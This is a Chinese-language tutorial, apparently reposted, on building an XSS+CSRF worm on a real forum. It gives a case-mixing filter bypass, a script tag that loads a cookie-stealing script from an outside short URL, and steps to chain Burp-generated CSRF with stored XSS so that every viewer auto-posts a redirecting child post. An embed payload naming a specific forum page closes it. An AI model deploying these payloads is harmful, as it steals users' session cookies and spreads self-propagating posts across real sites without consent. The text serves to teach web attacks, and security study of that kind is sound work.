大体思路
1. 在发帖的内容处发现了存储型 XSS
2. 对帖子 (母贴) 的内容进行构造, 插入 CSRF POC, 并对其中内容输出为 302 永久重定向到母感染贴
3. 所有浏览此页面的用户都会自动发布一个重定向到母感染贴的子贴, 重定向到母贴时又再次执行母贴中的 POC 再次创建一个子贴.
以上就是 XSS+CSRF 构造蠕虫大体的思路, 下面细化各个步骤的过程, 水平不高, 适合 XSS 初学者的进阶.
一, 存储型 XSS
1. 进入发帖处, 添加初步测试 payload, 并查看源码:
2. 观察到可以大小写混淆绕过, 于是构造 payload(对于屏蔽括号的可以用 ' 来代替):
<sCrIpt>alert'xss'</sCrIpt>
3. 刷新页面观察效果, 成功弹窗:
4. 插入 JS 脚本, 利用 XSS 平台窃取用户 cookie, 这是最常用的 XSS 利用手法.
- POC:
- <sCRiPt/SrC=//60.wf/m5VP>
SRC 引用的是短地址, 内容为窃取用户 cookie 的 JS 脚本, 详细可以使用 XSS 平台自动生成:
二, XSS 配合 CSRF 的初步测验
1. 首先验证是否存在 CSRF, 同样在发布新贴处, 填写标题内容, 点击发布抓包:
2.burp 自带的生成 CSRF POC,POST 包处 -》右键 -》generate csrf poc -》保存 -》使用另一个账号发送 POC, 查看自己的帖子, 发现成功发送新帖.
3. 编写 JS 脚本(可以利用 Xss'or 来生成)
4.CSRF + 存储型 XSS 将脚本插入到页面中:
如图, 内容为发布新帖的 JS 脚本, 点击发布, 就生成了新帖.
5. 浏览此贴, 提示成功:
6. 可以看到成功发布出去:
7. 使用其他用户浏览帖子测试 -- 发现同样不知觉的发了个新帖, 至此, XSS+CSRF 的攻击已经完成:
三, 蠕虫的构造
再整理一下思路.
蠕虫的前提是子贴的内容, 即点击我们母感染贴的用户所发布的子贴的内容是可控的:
1. 攻击者创建一个攻击帖(母帖), 贴中 JS 脚本包含:
1创建一个子回传帖
2子回传帖的内容是重定向到母帖
2. 用户浏览母帖, 然后自动创建一个子回传帖;
3. 子回传帖 403 重定向到母帖;
4. 根据内容又创建一个子回传帖;
5. 用户之间互相浏览, 发散, 传播, 不拉不拉不拉, 造成蠕虫攻击.
1. 任意发表新帖:
- payload:
- <embed/src=/bang.duia.com/web/normal/topic/806440>
来源: http://www.tuicool.com/articles/eu6RZjb